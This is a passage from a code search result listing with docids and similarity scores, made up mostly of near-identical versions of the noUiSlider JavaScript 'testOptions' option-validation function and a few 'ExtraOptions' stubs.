'handle-lower',\n\t\t\t\thandleUpper: 'handle-upper',\n\t\t\t\thorizontal: 'horizontal',\n\t\t\t\tvertical: 'vertical',\n\t\t\t\tbackground: 'background',\n\t\t\t\tconnect: 'connect',\n\t\t\t\tltr: 'ltr',\n\t\t\t\trtl: 'rtl',\n\t\t\t\tdraggable: 'draggable',\n\t\t\t\tdrag: 'state-drag',\n\t\t\t\ttap: 'state-tap',\n\t\t\t\tactive: 'active',\n\t\t\t\ttooltip: 'tooltip',\n\t\t\t\tpips: 'pips',\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\tmarker: 'marker',\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\tvalue: 'value',\n\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\tvalueSub: 'value-sub'\n\t\t\t},\n\t\t\t'useRequestAnimationFrame': true\n\t\t};\n\n\t\t// AriaFormat defaults to regular format, if any.\n\t\tif ( options.format && !options.ariaFormat ) {\n\t\t\toptions.ariaFormat = options.format;\n\t\t}\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined && defaults[name] === undefined ) {\n\n\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider (\" + VERSION + \"): '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttests[name].t( parsed, options[name] === undefined ? defaults[name] : options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\tvar styles = [['left', 'top'], ['right', 'bottom']];\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = styles[parsed.dir][parsed.ort];\n\t\tparsed.styleOposite = styles[parsed.dir?0:1][parsed.ort];\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "726a070c6aab26d64c6b7099e129a5c1", "score": "0.5954973", "text": "function testOptions ( options ) {\n\n\t\t// To prove a fix for #537, freeze options here.\n\t\t// If the object is modified, an error will be thrown.\n\t\t// Object.freeze(options);\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tpadding: 0,\n\t\t\tanimate: true,\n\t\t\tanimationDuration: 300,\n\t\t\tariaFormat: defaultFormatter,\n\t\t\tformat: defaultFormatter\n\t\t};\n\n\t\t// Tests are executed in the order they are presented here.\n\t\tvar tests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'padding': { r: false, t: testPadding },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'multitouch': { r: true, t: testMultitouch },\n\t\t\t'ariaFormat': { r: false, t: testAriaFormat },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t'cssPrefix': { r: false, t: testCssPrefix },\n\t\t\t'cssClasses': { r: false, t: testCssClasses },\n\t\t\t'useRequestAnimationFrame': { r: false, t: testUseRaf }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'multitouch': false,\n\t\t\t'orientation': 'horizontal',\n\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t'cssClasses': {\n\t\t\t\ttarget: 'target',\n\t\t\t\tbase: 'base',\n\t\t\t\torigin: 'origin',\n\t\t\t\thandle: 'handle',\n\t\t\t\thandleLower: 'handle-lower',\n\t\t\t\thandleUpper: 'handle-upper',\n\t\t\t\thorizontal: 'horizontal',\n\t\t\t\tvertical: 'vertical',\n\t\t\t\tbackground: 'background',\n\t\t\t\tconnect: 'connect',\n\t\t\t\tltr: 'ltr',\n\t\t\t\trtl: 'rtl',\n\t\t\t\tdraggable: 'draggable',\n\t\t\t\tdrag: 'state-drag',\n\t\t\t\ttap: 'state-tap',\n\t\t\t\tactive: 'active',\n\t\t\t\ttooltip: 'tooltip',\n\t\t\t\tpips: 'pips',\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\tmarker: 'marker',\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\tvalue: 'value',\n\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\tvalueSub: 'value-sub'\n\t\t\t},\n\t\t\t'useRequestAnimationFrame': true\n\t\t};\n\n\t\t// AriaFormat defaults to regular format, if any.\n\t\tif ( options.format && !options.ariaFormat ) {\n\t\t\toptions.ariaFormat = options.format;\n\t\t}\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined && defaults[name] === undefined ) {\n\n\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider (\" + VERSION + \"): '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttests[name].t( parsed, options[name] === undefined ? defaults[name] : options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\tvar styles = [['left', 'top'], ['right', 'bottom']];\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = styles[parsed.dir][parsed.ort];\n\t\tparsed.styleOposite = styles[parsed.dir?0:1][parsed.ort];\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "857599e4d16d0c050a728c41ff2935fa", "score": "0.59331155", "text": "function testOptions ( options ) {\n\n\t\t\t// To prove a fix for #537, freeze options here.\n\t\t\t// If the object is modified, an error will be thrown.\n\t\t\t// Object.freeze(options);\n\n\t\t\tvar parsed = {\n\t\t\t\tmargin: 0,\n\t\t\t\tlimit: 0,\n\t\t\t\tanimate: true,\n\t\t\t\tanimationDuration: 300,\n\t\t\t\tformat: defaultFormatter\n\t\t\t}, tests;\n\n\t\t\t// Tests are executed in the order they are presented here.\n\t\t\ttests = {\n\t\t\t\t'step': { r: false, t: testStep },\n\t\t\t\t'start': { r: true, t: testStart },\n\t\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t\t'range': { r: true, t: testRange },\n\t\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t\t'format': { r: false, t: testFormat },\n\t\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t\t'cssPrefix': { r: false, t: testCssPrefix },\n\t\t\t\t'cssClasses': { r: false, t: testCssClasses }\n\t\t\t};\n\n\t\t\tvar defaults = {\n\t\t\t\t'connect': false,\n\t\t\t\t'direction': 'ltr',\n\t\t\t\t'behaviour': 'tap',\n\t\t\t\t'orientation': 'horizontal',\n\t\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t\t'cssClasses': {\n\t\t\t\t\ttarget: 'target',\n\t\t\t\t\tbase: 'base',\n\t\t\t\t\torigin: 'origin',\n\t\t\t\t\thandle: 'handle',\n\t\t\t\t\thandleLower: 'handle-lower',\n\t\t\t\t\thandleUpper: 'handle-upper',\n\t\t\t\t\thorizontal: 'horizontal',\n\t\t\t\t\tvertical: 'vertical',\n\t\t\t\t\tbackground: 'background',\n\t\t\t\t\tconnect: 'connect',\n\t\t\t\t\tltr: 'ltr',\n\t\t\t\t\trtl: 'rtl',\n\t\t\t\t\tdraggable: 'draggable',\n\t\t\t\t\tdrag: 'state-drag',\n\t\t\t\t\ttap: 'state-tap',\n\t\t\t\t\tactive: 'active',\n\t\t\t\t\tstacking: 'stacking',\n\t\t\t\t\ttooltip: 'tooltip',\n\t\t\t\t\tpips: 'pips',\n\t\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\t\tmarker: 'marker',\n\t\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\t\tvalue: 'value',\n\t\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\t\tvalueSub: 'value-sub'\n\t\t\t\t}\n\t\t\t};\n\n\t\t\t// Run all options through a testing mechanism to ensure correct\n\t\t\t// input. It should be noted that options might get modified to\n\t\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\t\tif ( options[name] === undefined && defaults[name] === undefined ) {\n\n\t\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\n\t\t\t\t\t}\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\ttests[name].t( parsed, options[name] === undefined ? defaults[name] : options[name] );\n\t\t\t});\n\n\t\t\t// Forward pips options\n\t\t\tparsed.pips = options.pips;\n\n\t\t\t// Pre-define the styles.\n\t\t\tparsed.style = parsed.ort ? 'top' : 'left';\n\n\t\t\treturn parsed;\n\t\t}", "title": "" }, { "docid": "760854552e2aacbbced9fa37e344660a", "score": "0.59152806", "text": "function testOptions ( options ) {\n\n\t\t// To prove a fix for #537, freeze options here.\n\t\t// If the object is modified, an error will be thrown.\n\t\t// Object.freeze(options);\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tpadding: 0,\n\t\t\tanimate: true,\n\t\t\tanimationDuration: 300,\n\t\t\tariaFormat: defaultFormatter,\n\t\t\tformat: defaultFormatter\n\t\t};\n\n\t\t// Tests are executed in the order they are presented here.\n\t\tvar tests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'padding': { r: false, t: testPadding },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'ariaFormat': { r: false, t: testAriaFormat },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t'cssPrefix': { r: false, t: testCssPrefix },\n\t\t\t'cssClasses': { r: false, t: testCssClasses },\n\t\t\t'useRequestAnimationFrame': { r: false, t: testUseRaf }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal',\n\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t'cssClasses': {\n\t\t\t\ttarget: 'target',\n\t\t\t\tbase: 'base',\n\t\t\t\torigin: 'origin',\n\t\t\t\thandle: 'handle',\n\t\t\t\thandleLower: 'handle-lower',\n\t\t\t\thandleUpper: 'handle-upper',\n\t\t\t\thorizontal: 'horizontal',\n\t\t\t\tvertical: 'vertical',\n\t\t\t\tbackground: 'background',\n\t\t\t\tconnect: 'connect',\n\t\t\t\tltr: 'ltr',\n\t\t\t\trtl: 'rtl',\n\t\t\t\tdraggable: 'draggable',\n\t\t\t\tdrag: 'state-drag',\n\t\t\t\ttap: 'state-tap',\n\t\t\t\tactive: 'active',\n\t\t\t\ttooltip: 'tooltip',\n\t\t\t\tpips: 'pips',\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\tmarker: 'marker',\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\tvalue: 'value',\n\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\tvalueSub: 'value-sub'\n\t\t\t},\n\t\t\t'useRequestAnimationFrame': true\n\t\t};\n\n\t\t// AriaFormat defaults to regular format, if any.\n\t\tif ( options.format && !options.ariaFormat ) {\n\t\t\toptions.ariaFormat = options.format;\n\t\t}\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined && defaults[name] === undefined ) {\n\n\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider (\" + VERSION + \"): '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttests[name].t( parsed, options[name] === undefined ? defaults[name] : options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\tvar styles = [['left', 'top'], ['right', 'bottom']];\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = styles[parsed.dir][parsed.ort];\n\t\tparsed.styleOposite = styles[parsed.dir?0:1][parsed.ort];\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "9893f1c0845a6baac34d618947eae6ec", "score": "0.5872966", "text": "function ExtraOptions() {}", "title": "" }, { "docid": "bdf97f57e44ccf894c268d5eb17e2742", "score": "0.58575654", "text": "function ExtraOptions(){}", "title": "" }, { "docid": "bdf97f57e44ccf894c268d5eb17e2742", "score": "0.58575654", "text": "function ExtraOptions(){}", "title": "" }, { "docid": "bdf97f57e44ccf894c268d5eb17e2742", "score": "0.58575654", "text": "function ExtraOptions(){}", "title": "" }, { "docid": "2c326c807af01484327901b74aaebce5", "score": "0.5834004", "text": "function testOptions ( options ) {\n\n\t\t// To prove a fix for #537, freeze options here.\n\t\t// If the object is modified, an error will be thrown.\n\t\t// Object.freeze(options);\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tpadding: 0,\n\t\t\tanimate: true,\n\t\t\tanimationDuration: 300,\n\t\t\tformat: defaultFormatter\n\t\t};\n\n\t\t// Tests are executed in the order they are presented here.\n\t\tvar tests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'padding': { r: false, t: testPadding },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t'cssPrefix': { r: false, t: testCssPrefix },\n\t\t\t'cssClasses': { r: false, t: testCssClasses },\n\t\t\t'useRequestAnimationFrame': { r: false, t: testUseRaf }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal',\n\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t'cssClasses': {\n\t\t\t\ttarget: 'target',\n\t\t\t\tbase: 'base',\n\t\t\t\torigin: 'origin',\n\t\t\t\thandle: 'handle',\n\t\t\t\thandleLower: 'handle-lower',\n\t\t\t\thandleUpper: 'handle-upper',\n\t\t\t\thorizontal: 'horizontal',\n\t\t\t\tvertical: 'vertical',\n\t\t\t\tbackground: 'background',\n\t\t\t\tconnect: 'connect',\n\t\t\t\tltr: 'ltr',\n\t\t\t\trtl: 'rtl',\n\t\t\t\tdraggable: 'draggable',\n\t\t\t\tdrag: 'state-drag',\n\t\t\t\ttap: 'state-tap',\n\t\t\t\tactive: 'active',\n\t\t\t\ttooltip: 'tooltip',\n\t\t\t\tpips: 'pips',\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\tmarker: 'marker',\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\tvalue: 'value',\n\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\tvalueSub: 'value-sub'\n\t\t\t},\n\t\t\t'useRequestAnimationFrame': true\n\t\t};\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined && defaults[name] === undefined ) {\n\n\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttests[name].t( parsed, options[name] === undefined ? defaults[name] : options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\tvar styles = [['left', 'top'], ['right', 'bottom']];\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = styles[parsed.dir][parsed.ort];\n\t\tparsed.styleOposite = styles[parsed.dir?0:1][parsed.ort];\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "48f25f89fd87ae857d1d4d8309ddbf4c", "score": "0.5827216", "text": "function testOptions ( options ) {\r\n\r\n\t\t// To prove a fix for #537, freeze options here.\r\n\t\t// If the object is modified, an error will be thrown.\r\n\t\t// Object.freeze(options);\r\n\r\n\t\tvar parsed = {\r\n\t\t\tmargin: 0,\r\n\t\t\tlimit: 0,\r\n\t\t\tanimate: true,\r\n\t\t\tanimationDuration: 300,\r\n\t\t\tformat: defaultFormatter\r\n\t\t}, tests;\r\n\r\n\t\t// Tests are executed in the order they are presented here.\r\n\t\ttests = {\r\n\t\t\t'step': { r: false, t: testStep },\r\n\t\t\t'start': { r: true, t: testStart },\r\n\t\t\t'connect': { r: true, t: testConnect },\r\n\t\t\t'direction': { r: true, t: testDirection },\r\n\t\t\t'snap': { r: false, t: testSnap },\r\n\t\t\t'animate': { r: false, t: testAnimate },\r\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\r\n\t\t\t'range': { r: true, t: testRange },\r\n\t\t\t'orientation': { r: false, t: testOrientation },\r\n\t\t\t'margin': { r: false, t: testMargin },\r\n\t\t\t'limit': { r: false, t: testLimit },\r\n\t\t\t'behaviour': { r: true, t: testBehaviour },\r\n\t\t\t'format': { r: false, t: testFormat },\r\n\t\t\t'tooltips': { r: false, t: testTooltips },\r\n\t\t\t'cssPrefix': { r: false, t: testCssPrefix },\r\n\t\t\t'cssClasses': { r: false, t: testCssClasses }\r\n\t\t};\r\n\r\n\t\tvar defaults = {\r\n\t\t\t'connect': false,\r\n\t\t\t'direction': 'ltr',\r\n\t\t\t'behaviour': 'tap',\r\n\t\t\t'orientation': 'horizontal',\r\n\t\t\t'cssPrefix' : 'noUi-',\r\n\t\t\t'cssClasses': {\r\n\t\t\t\ttarget: 'target',\r\n\t\t\t\tbase: 'base',\r\n\t\t\t\torigin: 'origin',\r\n\t\t\t\thandle: 'handle',\r\n\t\t\t\thandleLower: 'handle-lower',\r\n\t\t\t\thandleUpper: 'handle-upper',\r\n\t\t\t\thorizontal: 'horizontal',\r\n\t\t\t\tvertical: 'vertical',\r\n\t\t\t\tbackground: 'background',\r\n\t\t\t\tconnect: 'connect',\r\n\t\t\t\tltr: 'ltr',\r\n\t\t\t\trtl: 'rtl',\r\n\t\t\t\tdraggable: 'draggable',\r\n\t\t\t\tdrag: 'state-drag',\r\n\t\t\t\ttap: 'state-tap',\r\n\t\t\t\tactive: 'active',\r\n\t\t\t\tstacking: 'stacking',\r\n\t\t\t\ttooltip: 'tooltip',\r\n\t\t\t\tpips: 'pips',\r\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\r\n\t\t\t\tpipsVertical: 'pips-vertical',\r\n\t\t\t\tmarker: 'marker',\r\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\r\n\t\t\t\tmarkerVertical: 'marker-vertical',\r\n\t\t\t\tmarkerNormal: 'marker-normal',\r\n\t\t\t\tmarkerLarge: 'marker-large',\r\n\t\t\t\tmarkerSub: 'marker-sub',\r\n\t\t\t\tvalue: 'value',\r\n\t\t\t\tvalueHorizontal: 'value-horizontal',\r\n\t\t\t\tvalueVertical: 'value-vertical',\r\n\t\t\t\tvalueNormal: 'value-normal',\r\n\t\t\t\tvalueLarge: 'value-large',\r\n\t\t\t\tvalueSub: 'value-sub'\r\n\t\t\t}\r\n\t\t};\r\n\r\n\t\t// Run all options through a testing mechanism to ensure correct\r\n\t\t// input. It should be noted that options might get modified to\r\n\t\t// be handled properly. E.g. wrapping integers in arrays.\r\n\t\tObject.keys(tests).forEach(function( name ){\r\n\r\n\t\t\t// If the option isn't set, but it is required, throw an error.\r\n\t\t\tif ( options[name] === undefined && defaults[name] === undefined ) {\r\n\r\n\t\t\t\tif ( tests[name].r ) {\r\n\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\r\n\t\t\t\t}\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\ttests[name].t( parsed, options[name] === undefined ? defaults[name] : options[name] );\r\n\t\t});\r\n\r\n\t\t// Forward pips options\r\n\t\tparsed.pips = options.pips;\r\n\r\n\t\t// Pre-define the styles.\r\n\t\tparsed.style = parsed.ort ? 'top' : 'left';\r\n\r\n\t\treturn parsed;\r\n\t}", "title": "" }, { "docid": "8648b425fb33729c1a3c9309cc209aea", "score": "0.57842517", "text": "function testOptions ( options ) {\n\n\t\t// To prove a fix for #537, freeze options here.\n\t\t// If the object is modified, an error will be thrown.\n\t\t// Object.freeze(options);\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tanimate: true,\n\t\t\tanimationDuration: 300,\n\t\t\tformat: defaultFormatter\n\t\t}, tests;\n\n\t\t// Tests are executed in the order they are presented here.\n\t\ttests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t'cssPrefix': { r: false, t: testCssPrefix },\n\t\t\t'cssClasses': { r: false, t: testCssClasses },\n\t\t\t'useRequestAnimationFrame': { r: false, t: testUseRaf }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal',\n\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t'cssClasses': {\n\t\t\t\ttarget: 'target',\n\t\t\t\tbase: 'base',\n\t\t\t\torigin: 'origin',\n\t\t\t\thandle: 'handle',\n\t\t\t\thorizontal: 'horizontal',\n\t\t\t\tvertical: 'vertical',\n\t\t\t\tbackground: 'background',\n\t\t\t\tconnect: 'connect',\n\t\t\t\tltr: 'ltr',\n\t\t\t\trtl: 'rtl',\n\t\t\t\tdraggable: 'draggable',\n\t\t\t\tdrag: 'state-drag',\n\t\t\t\ttap: 'state-tap',\n\t\t\t\tactive: 'active',\n\t\t\t\ttooltip: 'tooltip',\n\t\t\t\tpips: 'pips',\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\tmarker: 'marker',\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\tvalue: 'value',\n\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\tvalueSub: 'value-sub'\n\t\t\t},\n\t\t\t'useRequestAnimationFrame': true\n\t\t};\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined && defaults[name] === undefined ) {\n\n\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttests[name].t( parsed, options[name] === undefined ? defaults[name] : options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\tvar styles = [['left', 'top'], ['right', 'bottom']];\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = styles[parsed.dir][parsed.ort];\n\t\tparsed.styleOposite = styles[parsed.dir?0:1][parsed.ort];\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "8648b425fb33729c1a3c9309cc209aea", "score": "0.57842517", "text": "function testOptions ( options ) {\n\n\t\t// To prove a fix for #537, freeze options here.\n\t\t// If the object is modified, an error will be thrown.\n\t\t// Object.freeze(options);\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tanimate: true,\n\t\t\tanimationDuration: 300,\n\t\t\tformat: defaultFormatter\n\t\t}, tests;\n\n\t\t// Tests are executed in the order they are presented here.\n\t\ttests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: 